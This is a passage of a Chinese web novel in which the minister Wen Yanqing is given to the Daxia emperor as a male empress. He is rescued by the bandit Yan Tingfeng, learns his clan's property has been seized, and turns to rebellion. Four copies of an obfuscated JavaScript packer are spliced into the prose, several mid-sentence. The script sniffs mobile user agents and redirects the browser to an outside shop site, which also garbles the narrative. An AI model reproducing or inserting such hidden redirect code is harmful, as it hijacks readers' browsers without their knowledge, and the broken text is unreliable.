这样也好,就当做从未有过交集,“不必了,我和他没有什么话可说。” 顾靳闲微微惊讶,明明晏亭风前不久还在和他打探…… 不过他也不好继续往下问,“那我便代替你和他问句好。” 雨停了,天微微亮泛起鱼肚白,冬瓜配合着顾靳闲打掩护,临走前顾靳闲停下脚步看向温砚清。 “温大人你就不怕会是下一个我吗?” 温砚清知道皇帝开始怀疑试探他,怕吗? “那顾大人明知道这个结果,后悔了吗?” 顾靳闲瞬间哑了声不再继续往下说,转身钻进了马车内。 禁军搜了一整夜,连顾靳闲的影子都没瞧见,皇帝在朝堂上发了好大一通脾气。 “这么大的一个人就这样从你们眼皮子底下跑了?朕养了你们这么多年,全都喂到狗肚子里去了?” 禁军统领陈生慌张地解释,“陛下,还有一处地方没有查。” “哦?什么地方连朕的禁军统领都不敢去查。”司烨抬起眼皮看着他。 陈生瞥了一眼身旁,“尚书令温大人。” 冲他来的。 温砚清面上看不出一丝慌乱,“臣问心无愧,陈大人尽管查。” 下了朝司烨派人来拦住温砚清,“温大人,恐怕要委屈您一段时间了,等到陈大人搜查干净后,才可以出宫。” 温砚清早有预料点这头跟在小太监身后,乾清宫内皇帝处理着折子,他便端正的跪着。 “听说昨夜你府上出了刺客?人抓到了吗?” 司烨放下手中的笔抬眼看向他。 “那刺客武功高强,跑了。” “明日我会从宫里头拨一批人留在你身边,你姐姐最关心的就是你,若是你出了什么事,她怕是吃不下睡不着。” 不等温砚清开口皇帝就拍板,“就这样决定,我相信你不会和顾靳闲那个罪臣勾结。” “陈生去搜查也只是走走形式,以免让人说闲话。” 温砚清没有反驳也没有解释,司烨这是趁此机会光明正大往他身边塞眼线。 殿外传来动静,陈生面色凝重地走进来,“陛下,这是我们从温大人府上的柴房中找到的。” 他从衣袖中取出一块玉牌,上头镌刻着一个顾字,司烨瞥了一眼开口,“温爱卿不说说这是怎么回事吗?” 温砚清盯着那块玉牌想到了什么,是那个小厮放的。 张清…… 莫不是皇帝对他起了杀心。 他不慌不忙将抓到小厮的前因后果说了清楚,“若是陛下不信,我可以让人带那小厮上来解释清楚。” “那你可知指使那小厮纵火的是何人?”司烨目光直勾勾地盯着他,仿佛只要温砚清看见了,他马上就会下令让人处置了。 温砚清语气中带着些许遗憾,“晚了一步,赶到的时候那幕后之人跳河自尽什么都没看清。” 那块玉牌被司烨捏在手心把玩,一个用力碎成了两半,他摆了摆手让陈生下去。 他既想要除掉一切对自己不利的,又想要博一个好名声,他的视线落在温砚清的身上,眼下还不能动手。 “砚清你也别怨朕,你是朕看着长大的,朕虽是九五之尊,可却不能寒了其他人的心。” 如果谢平铮没有死,司烨没有费尽心思设计顾靳闲,温砚清或许还会相信这句话。 他们为国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016829|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为民,却躲不开猜忌。 温砚清摇摇头开口,“陛下多虑了,臣这辈子没什鸿鹄之志,只想一辈子安稳度日。” 殿内没了声,司烨盯着他琢磨着这句话有几分真,不等他开口,陈宏手上拿着一封信急匆匆闯进来。 “陛下,边关八百里加急。” 司烨皱起眉头拆开那封信,只是一眼便捏紧了拳头。 “大夏这是铁了心要亡我景国!” 听见大夏两个字眼温砚清下意识抬起头,司烨脸色阴沉将这封信递到温砚清得面前。 温砚清接过那封信,慕容连回到大夏不过短短半个月,谋权篡位杀死了自己的父亲,以及他的那些兄弟。 上位后不过两天,便亲自上阵带兵打仗,接连打了几场胜战,一路攻至允都。 恐怕要不了多久,慕容连便会攻破…… “温爱卿对此事可有什么想法?” 景国这些年接连遇上天灾,国库看似充盈实则内里只剩下一个空壳。 喂不饱将士,谈什么打战…… “陛下,眼下最好的办法就是求和,若是大夏得寸进尺,只能……” 求和是目前最保险的方法,司烨走上前扶起他,“砚清,这件事朕不放心交给其他人,只能交给你了。” “不管他慕容连想要什么,只要能停战,我什么都能给。” 温砚清张了张嘴最后还是将后半句咽了下去,离开前他还是开了口,“若是大夏得寸进尺,陛下会怎么做?” 是和他们拼死一战还是为了守住这点可怜的江山,做大夏召之即来挥之即去的傀儡? “若真的到了那个时候,举国上下抵御外敌!”司烨认真地回答他。 这就够了。 温砚清行了个礼后退出了乾清宫,在心里默念着,这就够了。 边关战事吃紧,慕容连亲自上阵指挥,大夏的士气节节高一连拿下几座城池。 只是不等景国找上,慕容连竟然带兵后撤,提出了求和谈判。 这正是司烨想要的。 今年的宫宴不同以往,多了大夏的皇帝,气氛焦灼。 司烨提出的每一个请求,慕容连都是一口答应,“我们可以停战撤兵,将攻下的城池悉数归还。” “只是……我想要和你讨个人。” 慕容连的视线轻轻扫过,和温砚清对视上,“这个人不是别人,正是温大人。” 他露出一个笑容,朝温砚清对着口型。 我来实现我的诺言。 讨要臣子这算哪门子事? 司烨一脸为难,若是传出去恐怕要遭到天下百姓耻笑,为了求和上赶着送出臣子。 更何况温砚清对景国上下的条件了如指掌。 “这……恐怕不妥吧……” 慕容连早就料到他不会同意,“我刚登基缺个皇后,可就是这么巧,除了温大人我谁都不要。” “一个臣子换一片安宁,这可是不可多得的好机会。” 说着他慢慢收敛笑容,下了最后的通牒,“三日后,我会亲自来接我的皇后,要是三日后我接不到人,我想我大夏的将士很愿意亲自来接走他们的皇后。” 20. 男皇后 皇后…… 在场的人无不惊讶,慕容连刚登基没多久,按理来说皇后的人选应当是世家贵女,他却偏偏要敌国的臣子…… 还是个男皇后。 荒唐。 简直太荒唐了。 温砚清下意识看向司烨,他会答应此等荒唐事吗? 慕容连既然开口这么说了,他就笃定司烨不会拒绝,一个臣子换几座城池和一片安宁,怎么看都划算。 不出所料,司烨毫不犹豫的答应了。 在他眼里,江山社稷大于一切。 既能保住城池,又能求得一片安宁,代价只是失去一个他即将丢弃的棋子,何乐而不为。 身旁的小宫女端着酒壶往见底的杯中添酒水,司烨顺势举起就被敬慕容连。 “三日后,温爱卿会如约前去和亲,能够与大夏结缘,那是天大的喜事。” 看热闹的人不在少数,都等着看温砚清的笑话。 他捏着手中的瓷杯目光冷冽紧盯着慕容连,眼下他什么都做不了。 半月前他救下慕容连,只当那是小孩子家的玩笑话,现在看来是他想简单了。 和亲…… 慕容连到底想要什么…… 手心一阵刺痛,温砚清回过神来,手中的瓷杯裂成几块,划破了手心。 他找了个借口起身离开,手上的伤口止不住地往外冒血,他却没心思却查看,满脑子全是和亲。 奇耻大辱! 双手止不住地打颤,温砚清只觉得头昏脑胀,索性解下身上的大麾,任由寒风刺骨。 他又有什么办法能够……自救…… 为了几座城池,皇帝把臣子当成求和的礼物送了出去,不到一夜之间,这件事便传遍整个景国。 “奇耻大辱!这简直就是奇耻大辱,哪有把自己的臣子送出去的道理,大夏这哪是在求娶,这分明就是借此机会羞辱!” “温大人位高权重,这不就是在让外人打我们的脸面吗?” 姜夫人捏着帕子急得在院中转悠,“这可如何是好,哪有送自己的臣子去和亲的道理,现在上上下下都知道你要被送去和亲!” “不行,我要进宫面圣,我就你这么个儿子,要是你有个三长两短的,我也不活了!” 温砚清让人拦下了姜夫人,“母亲,没有用的。” 姜夫人垂着脑袋抹眼泪,她无力地坐在椅子上,“你父亲是三朝元老,为了景国鞠躬尽瘁,最后染上了疫病早早离去。” “温氏未曾有过二心,助力皇帝稳坐这个位置,他却要把你当成求和的工具,这不是在寒我们的心吗?” “母亲,既来之则安之,不用担心。”温砚清轻声宽慰了几句,一只手摸向衣袖中的一小瓶药罐子,宫宴结束后,皇帝交给他的。 “温爱卿,今日委屈你了,送你去和亲实属是无奈之举,慕容连拿景国百姓的性命威胁。”司烨一脸愤恨,“我定然不会让你白白受委屈,今日之耻,来日必报!” 他让人取来一个小药罐放在温砚清的手上,“这是白云散,无色无味,只要服下就会暴毙而亡,待你到了大夏借此机会除掉慕容连。” “你放心,我会暗中派人配合你,只要慕容连死了,打他个猝不及防,到时候风光归来,你依旧是我景国的功臣!” 温砚清将白云散收了起来,只要杀死慕容连…… 府外闹哄哄地一片,打断了他的思绪,冬瓜咬着牙进来汇报,“大人,慕容连让人送来聘礼,他要亲自见你。” 姜夫人擦干眼泪满腔怒火,“让他带着东西滚!什么聘礼!真当我温氏是卖儿子的吗!” 说着她环顾一周,视线落在挂墙上的长剑,她快步上前提着剑就打算往外冲,“他若是敢踏进来半步,我这把老骨头便和他拼个你死我活!” 温砚清反应快拦了下来,“母亲,交给我。” 他让人带着姜夫人下去休息,随后让冬瓜将人带进来,隔着个院子都能听见慕容连的声音。 “哥哥,我以为你不想见我。” 慕容连走上前想去牵他的手却落了个空,温砚清坐在主位上神色淡定,“我怕不想见你,你不也来了。” “哥哥看上去好像不太高兴,其实我今天来不单单是为了送聘礼,主要还是怕哥哥跑了。”慕容连没拿自己当外人,知道没人待见自己,自顾自地给自己倒了杯热茶。 “所以我还是要提醒哥哥一句,不要有逃跑的想法,听说晏亭风只是青州的一个小土匪,我大夏的将士在剿匪这件事上,应该很有信心。” 衣袖中温砚清攥紧拳头,面上却不敢流露出半点异样的情绪。 慕容连似乎并不满意这个结果,他蹲下身子凑到温砚清的身旁,像一只摇尾乞怜的狗想要讨主人欢心,“只要哥哥高兴,成亲之后我把景国打下来,把司烨从皇位上拉下来。” “让哥哥做景国的皇帝好不好?” 温砚清眼底有了反应,他瞥了一眼慕容连,语气冷冰冰的,“你若是不守信用对景国开战,我就算是都要带上你。” 慕容连无所谓的笑出声,“能够和哥哥一块死也是个不错的选择,不是吗?” 疯子。 温砚清站起身让冬瓜送客,“礼送完了,你现在可以走了。” “哥哥不打算回礼吗?”慕容连露出手上的空位,“我记得哥哥之前送那个土匪,一个传家玉镯,既然哥哥要和我成亲了,是不是应该将镯子给我?” 温砚清下意识皱起眉头拒绝,还未开口便被打断,“若是还在那土匪手上,那我自然应当亲自去找他讨要。” 慕容连举着手不肯放下,目光直勾勾地盯着温砚清,好似拿不到这个镯子,他就不肯离开。 “碎了。”温砚清掩盖眼底的厌恶,眼神示意冬瓜,“若是不信,我让人找出来让你看个死心。” 冬瓜会意正准备去,身后传来慕容连的笑声,“我怎么会不相信哥哥呢,既然碎了那便不需要了。” 知道温砚清不愿意见自己,他也不继续待着自讨没趣,“哥哥等着三日后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016830|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来接你。” 见人走远冬瓜愤愤不平,“这世上怎有如此没脸没皮的人,大人,只要你一句话,我马上混进四方馆杀了他。” “你以为他会没有任何防备吗?他若是在景国的地界上死了,明日景国便会被大夏的铁骑踏平。” 温砚清瞥了一眼桌上,拿起慕容连碰过的瓷杯,随手扔在了地上,“慕容连此行前来可不是一个人,允都外五十里,驻守着大夏号称不败的铁骑。” 冬瓜整个人像是泄了气一样,温砚清轻叹一口气交代着他,“我走之后,你和南瓜留下替我守好我母亲,别让人欺负了她。” 夜深人静,温砚清守在窗子前,平日里未曾饮酒的他,破天荒的找姜夫人讨要酒酿。 今夜院子里的人都被他遣散,像是在期待什么,守了一整夜,直至天亮南瓜急匆匆闯进来,“大人,青州送来的信。” 听见青州两个字温砚清精神了不少,他屏住呼吸接过那封信,兴许是太过于激动,手心微微颤抖。 信上只写了两个大字,放心。 这字迹不是他…… 温砚清瞥了一眼落款,上头写着一个大大的顾字。 是顾靳闲送来的,不是他…… 也不知道他在青州怎么样,瘦了还是胖了…… 他收起眼底的失望将信纸撕毁,丢进了一旁的火盆里,南瓜小心翼翼地观察着温砚清的神色,“大人,不是晏公子送来的吗?” 自从回了京都,晏亭风再没出现过,温砚清开始变了样,从前还能瞧见一点笑,现下又变回了那个不苟言笑的温大人。 南瓜哑了声不再往下问,也只有那猖匪能牵动着温大人的喜怒哀乐。 身后传来轻微的脚步声,小厮端着喜服进来,“大人,这是……大夏那边送来的……” 南瓜皱起眉头正打算让人撤下去,温砚清开口让他放下,“迟早要换上的,放下吧。” 这件喜服穿上去正合身,温砚清从暗格中取出白云散,藏在了喜服的夹层中,成功了他便是功臣,失败了他就是刺杀失败的死人。 府外锣鼓喧天,和亲的队伍等了许久,才看见温砚清的身影。 知道姜夫人接受不了会出面阻拦,一早温砚清便让人支开她,慕容连穿着同样的喜服,目光灼灼盯着他,“很合身。” 两人并排坐在马车内,慕容连想要去牵他的手,无一例外都被躲开了,他也不恼,“我知道哥哥还不适应,可到了大夏你就是我亲立的皇后,便不能这般任性。” 一路上温砚清只觉得坐立难安,身旁的人突然开口,“哥哥知道这里是哪里吗?这里是允都的死亡谷,出了死亡谷便离开了大夏的地界。” “知道我为什么会选择从这里离开吗?因为这里的地势得天独厚,只攻不守,还有一点就是这里离青州只不过半日的路程,你猜那土匪会不会出现?” “如果他出现了,便会被我安排驻守的铁骑乱箭射死,如若他不出现,那我也要他亲眼看着,你和我成亲,然后无能为力。” 21. 不怕死 “他不会出现的,你不用费心费力。”温砚清面上镇定,在慕容连看不见的地方却攥紧拳头。 但愿晏亭风不要出现,慕容连这个疯子指不定真的会做出什么事来。 “是吗?我可不这么认为,那个土匪一定会出现的。”慕容连伸出一只手勾住他的头发,绕着指腹打转把玩。 “哥哥我们来打个赌好不好?晏亭风要是出现了,就由你来杀了他。” 慕容连眼前一亮,勾起嘴角继续往下说,“如果他没出现,我便放了他一马。” 不等温砚清开口,马车摇晃着停了下来,慕容连皱起眉头顺手掀起帘子,“孤是养了一群废物吗?连这点小事都做不好吗?” 马车外静悄悄地没有一点动静,不知从哪出现的一阵白雾,看不清周围的情况。 慕容连下意识抬手捂住鼻子,他朝坐在身旁的温砚清挑了挑眉头,眼神得意。 哥哥我没说错吧,他来了。 温砚清紧捏着拳头,尽量让自己冷静下来,兴许不是他,晏亭风怎么会出现呢? 怎么会看不出来这其中有诈呢? 慕容连抽出长剑下了马车,“哥哥就好生等着,我会亲自砍下那土匪的头颅。” 不能坐以待毙…… 要是晏亭风死了……想到这里,温砚清掀开帘子跳下马车,还不等他走远,身后传来慕容连阴恻恻的警告。 “哥哥若是跑了,大夏的铁骑一定会踏平整个景国。” 温砚清僵在原地,身后空无一人,只剩下白茫茫的一片。 慕容连知道他想去做什么。 不等他抉择,白雾中隐约出现一个身影,那身影速度极快,不等温砚清反应过来,腰间多了一只手带着他离开。 即便没有看清这人的容貌,可温砚清一下子就辨别出了他身上独特的香料味。 他在心里默念出这三个字。 晏亭风。 他竟然真的来了。 “温大人我先带你离开。” 晏亭风一只手揽着,另一只手取出一颗糖丸喂进他的嘴里,轻车熟路地穿梭在死亡谷内,躲避着死亡谷上方蓄势待发的铁骑。 “你知不知道,慕容连就等着你上钩?” 温砚清挣扎着想要挣脱开来,“我必须马上回去,如果我不见了,慕容连会对整个景国开战,也不会放过你!” 不管他怎么挣扎,晏亭风就是不肯松手,“温大人放心,那白雾有毒却不致死,中了毒便会浑身乏力。” “眼下的情况有些复杂,京城那边出事了。” 京城出事了? 温砚清本想开口询问,最终还是作罢,任由他带着自己离开。 慕容连本以为自己计划周全,可百密必有一疏,这些凭空出现的白雾,让他带来的人一下子失去了行动。 就连他都不幸中了毒。 卑鄙无耻! 他低声骂着,只能艰难地拿着长剑在手腕上划破一个小口子,利用疼痛让自己清醒。 总有一天,他一定要亲自砍下那土匪的头颅,踩在脚底下! 出了死亡谷便看见一艘船停靠在岸边,让温砚清意外的是,顾靳闲也在。 从前高高在上的御史大夫,眼下却穿着蓑衣,带着蓑帽,一副船夫的做派。 江面上来往的客船众多,即便是想要找到也不容易。 晏亭风解下身上的大麾盖在温砚清的身上,这么多日未见,又瘦了。 他本想着缓和会在开口,不料温砚清却一刻都等不了,“你刚说的,京都出了什么事?” “是慕容连不守信用出尔反尔,还是发生了其他事?” 晏亭风左右为难,不知如何开口,他张了张口吞吞吐吐的,“温大人,和亲的队伍前脚刚离开,后脚……” “后脚那狗皇帝便下令抄家……说你通敌卖国,温氏一族上上下下都是走狗。” 抄家? 脑子里瞬间一片空白,温砚清难以置信,抓着他的手再三问清楚,“你确定,是陛下的口谕?” “我从来没有做过通敌卖国的下作勾当!温氏一族更不可能,这都是假的,我要回去!” “我母亲她……” 温砚清刚起身便被晏亭风拦住,“你听我说,不用担心姜夫人,我让人先一步将她半路拦截带了回来,算算时间现在应该快到了。” 心口悬着的石头沉了下来,他有些乏力地倒退了两步,嘴里喃喃,“怎么会抄家?” 明明司烨答应他,只要杀了慕容连,会让人来接应他。 明明答应他,会好生照料他的母亲,不被人欺辱。 “这不可能……” 晏亭风伸出手轻拍着他的肩膀,“你在朝中位高权重,背后又有温氏一族,你母亲又是富商之女。” “他是皇帝,最忌惮的就是功高震主。” 温砚清沉默着没开口,只是静静坐着,显然还没缓过神来。 船停靠在岸边,顾靳闲褪去身上的蓑衣,取出一套早就准备好的衣裳,“你被劫走的消息早就穿进宫里,皇帝下令杀无赦。” “到处都在搜查,还是小心为妙。” 温砚清魂不守舍地点点头,像是变了个人似的,无精打采。 身上的婚服被换下,晏亭风借着撑伞躲雨挡住他的样貌。 三人抄了一条近路回清风寨,雨后的胀气弥漫,若是对此处不熟悉,恐怕便会丧命于此。 见几人回来,站在哨塔的男人挥了挥手,示意开门让他们进来。 “砚清!” “我的儿啊,你没受伤吧?” 姜夫人快步上前围着温砚清转,直到再三确认他没有受伤才松了口气。 眼眶又红又肿,一看就是刚哭不久。 一早她便被温砚清支开到郊外的寺庙去祈福,回来的路上听闻皇帝下令要抄家。 不等她反应过来,马车便被人控制着,最后她出现在此处。 眼下看见温砚清便像是找到了主心骨,她哽咽着,“皇帝下令抄家,连带着你姐姐都被废了后打入冷宫,你姐姐她……” “她肚子里还怀着龙子!” 想到这里姜夫人垂着脑袋抹眼泪,“温氏一族从未做出通敌卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016831|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国此等大逆不道的事,皇帝这是忘了,你父亲是为了他,是为了景国没了命。” “最是无情帝王家,我早就和你父亲说过……” 温砚清站在原地想要开口安慰,却发不出一个声音。 如今的他什么都做不了,更没办法安慰母亲一句,一切都有我。 “姜夫人,有什么事我们进去说。” 晏亭风拿出干净的帕子递给姜夫人,轻声安抚她一切都会好起来的。 突然想起什么似的,温砚清取出衣袖中的白云散,递给站在一旁的顾靳闲,“顾大人……” 顾靳闲摆了摆手纠正他,“这哪还有什么顾大人?” 温砚清愣了愣,随即反应过来,也是,如今他们都是阶下囚。 “靳闲,这是司烨给我的白云散,他说只要慕容连喝下,便会暴毙而亡……”他顿了顿继续往下说,“只是,我不明白。” “既然是他亲自交代我,一定要让慕容连喝下此药,为什么还要下令抄家?他明明知道,我根本没有勾结大夏!” 顾靳闲接过那瓶小药罐,打开后凑近一闻,他皱起眉头将药罐子丢在一旁,“这哪是什么白云散。” “这分明就是让人欢爱的春/药,他压根就没想过让你安全的活着回来。” “即便你真的杀死了慕容连,也不会有人接应配合你,从一开始,就是他司烨做的局。” 春/药? 即便猜到了些许缘由,温砚清却依旧不愿意相信。 “他在借我的手,除掉所有对他不利的人……” 温砚清喃喃,先是陆元承,后来是谢平筝,可他却没有如同司烨所预想中的,杀死谢平筝。 所以司烨派出了张清,以顾靳闲之名杀死了谢平筝。 再把这一切的矛头转移到了顾靳闲身上,这样子,温砚清第一怀疑的对象,只会是顾靳闲。 只是半中间出现了一个慕容连,所以司烨便借着慕容连的手…… 所有的一切,如同走马灯似的从温砚清脑海中浮现,整个人像是泄了力一样,瘫坐在台阶上。 身后传来脚步声,瞧见晏亭风的身影,顾靳闲挑了挑眉头识趣地走开,给两人留下独处的机会。 “姜夫人累了一天,现下已经休息了,不用担心。” 晏亭风给自己找了一个位置,挨着坐在温砚清的身上,他从怀里取出几块糕点,献宝似的递到温砚清的面前。 “温大人一天没进食了,身体会吃不消的,眼下最重要的就是好好休息,先不要想这么多……” 温砚清苦笑一声打断他,“不用这么喊我,这里哪还有什么大人?” 说着他的目光不自觉看向晏亭风那张脸,看了许久他缓缓开口,“你明知道慕容连设了局,为何还要来救我?” “若是被发现了,慕容连不会放过你。司烨也不会放过你,你就这么不怕死吗?” 晏亭风坚定地摇了摇头,“我不怕,如果我怕的话,就不会出现在你的面前。” 他的目光灼灼,紧紧黏在温砚清的身上,“你难道不知道这其中的缘由吗?” 22. 要名垂青史 “我……” 温砚清不习惯这么被他盯着,红潮蔓延至耳后,他垂着脑袋借着散着的头发遮掩,不想让晏亭风瞧见自己这般丑态。 “我不知道。” 晏亭风轻笑一声,伸出手摆正他的身子,强迫他和自己对视。 “因为我欢喜你,心里有你,时时刻刻都想着你,你要是和别人成亲,我会发疯的。” 他收起脸上的笑容,一本正经地往下说,“这辈子要是不能嫁给你,我晏亭风死不瞑目。” 温砚清愣在原地,一个“你”字说了半天,他深吸一口气让自己冷静下来。 可满脑子全是晏亭风那句,“不能嫁给你死不瞑目。” 天底下怎么会有……这样的人。 “你不该来的,也不该说这样的话。”温砚清强压下心口的异样,“我现在可是罪臣,你就不怕……” 不等他继续往下说,晏亭风伸出手捂着他的嘴,“别说这些话,我不怕。” “只要能待在你身边,我不怕死,我知道你不想连累我,可是我只是想要一个机会。” “一个留在你身边的机会。” 温砚清红着脸不敢和他对视,索性背对着他不说话。 这人怎么总是这样,说话没遮没拦的…… 如今,他是罪臣,只会拖累旁人。 想到这里,他眼底的眸光一黯,在心底琢磨着怎么拒绝的话。 “大哥!快出来!” 一道爽朗的呼喊声响起,隔着半座山晏亭风都能认出这是东子的声音。 他起身探出半个身子往下看,只见东子肩上扛着一个男人,那人浑身是血,他眯了眯眼想要看清容貌。 “东子把南瓜带回来了。” 听见南瓜的名字,温砚清站起身头也不回的往下走。 南瓜伤得很重浑身是血,昏迷不醒,晏亭风催促着其他人找来大夫。 温砚清不放心地守在南瓜身边,像是想到什么似的,他抬头看向东子,“你是在哪里找到南瓜的?没有看见冬瓜吗?” 东子仔细想了想,最后摇了摇头,“没有,”我就是在回来的路上捡到他的,想不到误打误撞你们竟然认识。” “不过我只看到他一个人,至于什么冬瓜,我没瞧见。” 大夫拿出银针在南瓜身上扎了几针,事后一副可惜的模样,“这娃娃将来怕是废了。” “什么?” 温砚清紧张地看着他,只见大夫指着南瓜的手,“这娃娃年纪不大,却被人废了一只手,往后的日子里,怕是不好过啊。” “我能力有限,治不好他的手,即便治好我看也够呛。” 晏亭风付了诊费让东子送大夫离开,见温砚清紧皱眉头,他走上前安慰,“天底下总有能治的,一年不行那就两年,总能治好的。” “他是因为我才会受此重伤。”温砚清轻叹一口气,只能在心里祈祷着冬瓜能够平安无事。 床榻上的人有了反应,连着咳了几声缓缓睁开眼。 瞧见这陌生的地方,南瓜眼底闪过一丝慌张,撑着手就想起身,不料右手使不上力,一阵刺痛迫使他倒下。 温砚清上前阻止着,让他好好躺下歇息,“大夫说了,让你好生休息,总能治好的。” 南瓜自幼便习武,又怎么会不知道自身的情况,他扯了扯嘴角苦笑一声,“大人我心里有数……” 不等温砚清开口询问发生了什么事,他便红了眼眶,“我哥他……因为反抗,被当成了反贼,当街斩首示众……” 南瓜的声音不自觉哽咽,他别过头去抹了一把眼泪,“我想去救他,却被人打断了一只手,能活下来全靠我哥在天之灵保佑我。” 说到最后,他控制不住声,掩面痛哭。 温砚清看着这一幕,心口一片苦涩,却无能为力,这一切皆是因他而起。 如果不是他,冬瓜不会死,南瓜不会被人废了一只手,更不会连累到其他人身上。 他失了神往外走,一连几天下来说不出一句话来,夜里常常被惊醒。 瞧见他这幅模样,晏亭风更是寸步不离,伸出手轻轻拍着他的肩膀,像是哄小孩一样。 “又做梦了?” 温砚清轻声应了一句,他梦见了冬瓜,没了脑袋,浑身血淋淋的,一转身又梦到了叔叔伯伯们质问他。 “为何会变成如今这样的局面?” 晏亭风大手一挥将他揽进怀里,用尽各种话哄着,让他振作起来。 “砚清,这不是你的错,你想想冬瓜,再想想南瓜,他们会愿意瞧见你这幅模样吗?” 温砚清将脑袋抵在他的胸膛前,主动伸出手紧紧抱着他。 他不能让冬瓜白白的死,不能让家族蒙羞扣上这么大一顶帽子,他还要救阿姐,救自己,救所有被他连累的人。 八岁时,父亲便拿着戒尺教导他,“为国为民,这是为官的本份。” 后来他凭借自己的本事中了科举,成了新科状元,一步一步爬至尚书令的位置。 他不甘心就这样,不甘心就这样被扣上莫须有的罪名,更不甘心遗臭万年。 他要名垂青史。 晏亭风被他突如其来的举动惊讶到,僵着身子不敢动弹,就这样任由他抱着。 接下来几日温砚清仿佛又变回了从前那个风光霁月的温大人。 安生日子还没过几天,却传来青州知府奉命剿匪的消息。 寨子里养着一批老弱妇孺,即便是反抗也撑不了多久,朝廷这是打算把他们往死里逼。 慕容连回到景国后,更是借题发挥,威胁司烨,若是不能给他一个解释,大夏的铁骑不日便会踏平京都。 司烨震怒,下令三日之内,荡平清风寨。 寨子内几人唉声叹气,东子最先沉不住气,扛着刀就打算往下冲,“大哥,这还有什么好想的,别人都快冲到家门口了,我们怎么能坐以待毙?” “难不成真的要等着朝廷打上来吗?” 却也有其他人不认同,“我们怎么可能打得过,他们人多势众,要我说就应当求和,换取一条生路!” 温砚清盯着桌面上清风寨周围的形势图,随后缓缓开口,“不,坐以待毙不是办法,既然已经到这步田地……” 他抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016832|194220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼和顾靳闲对视上,后者一字一顿往下接着,“朝廷逼着我们去死,视人命为草芥,这样的国不要也罢。” 这话一出,周围的人无不惊讶,没有人敢吱声,过了半晌,不知是谁低声说了句,“这不就是谋反吗?” 温砚清神色淡定开口解释,“这不是谋反,这是为我们谋的一条生路,要么名垂青史,要么遗臭万年。” “横竖都是死,倒不如拼死一试。” 他的目光一一扫过在场的其他人,晏亭风重重地扣了扣桌面,“有谁想要其他出路,现在就可以离开。” “到我这里领了银子就可以走。” 东子第一个举起手,“我不走,我这条命是大哥给的,如果没有大哥,我恐怕早就因为那一粒米被人打折了腿!” “我也不走,我娘就是被他们活活生生逼死的!” “我也不走,谁走谁是孬种!” 没有一个人愿意走,这倒是让温砚清感到意外,他靠在门前盯着底下的准备的山匪,净产生了一丝不可思议。 任凭他怎么都想不到,竟然会有这么一天,他带着土匪要谋反。 身后传来脚步声,顾靳闲不知道什么时候走了出来,“觉得不可思议吗,我也是这样想的。” 向来不苟言笑的他,竟然扯出了一个笑容,“你知道吗,我曾在路上看见吃不饱的饥民将自己的一双儿女贱卖出去,就为了几两银子。” “也见过因为几两银子,被人打断了双腿,因为没钱治病活活疼死。” “我以为我站在那个位置上,可以改变这一切。” 顾靳闲面色越发的沉重,“直到我亲眼瞧见,寒窗苦读的寒门子弟被人冒名顶替,才知道从前的想法有多愚蠢。” “这世道本就是不公的。” 他的言语中是道不尽的失望,对朝廷失望,对皇帝失望,对自己失望。 恨自己改变不了现状,恨自己无能为力。 温砚清紧盯着他,过去他们是政敌,现在他们却站在一条船上。 一直到顾靳闲离开,温砚清才回过神来,身上多了一件大麾,晏亭风替他系上,“小心着凉。” “今天的事……” 温砚清莫名觉得有些愧疚,他未曾和晏亭风商量,便做了决定…… “我说过,不论你做什么,我永远站在你这边。”晏亭风目光坚定看着他。 “哪怕是谋反,杀头的罪名吗?”温砚清忍不住继续往下问,得到的回答都是一样的。 “哪怕是谋反,我都会站在你面前,替你冲锋陷阵。” 温砚清盯着他那张认真的脸,突然开口,“为什么你会选择做土匪?” 这个问题在他心口盘旋无数次,现下开口后他却有些后悔了,这个问题会不会太唐突了,他慌乱解释,“我就随口一问。” “我还从未和你提及过我的双亲。”晏亭风语气轻松,仿佛再说一件无关紧要的事,“因为交不起一两的土地税,我娘大着肚子跪在地上求他们,最后一尸两命。” 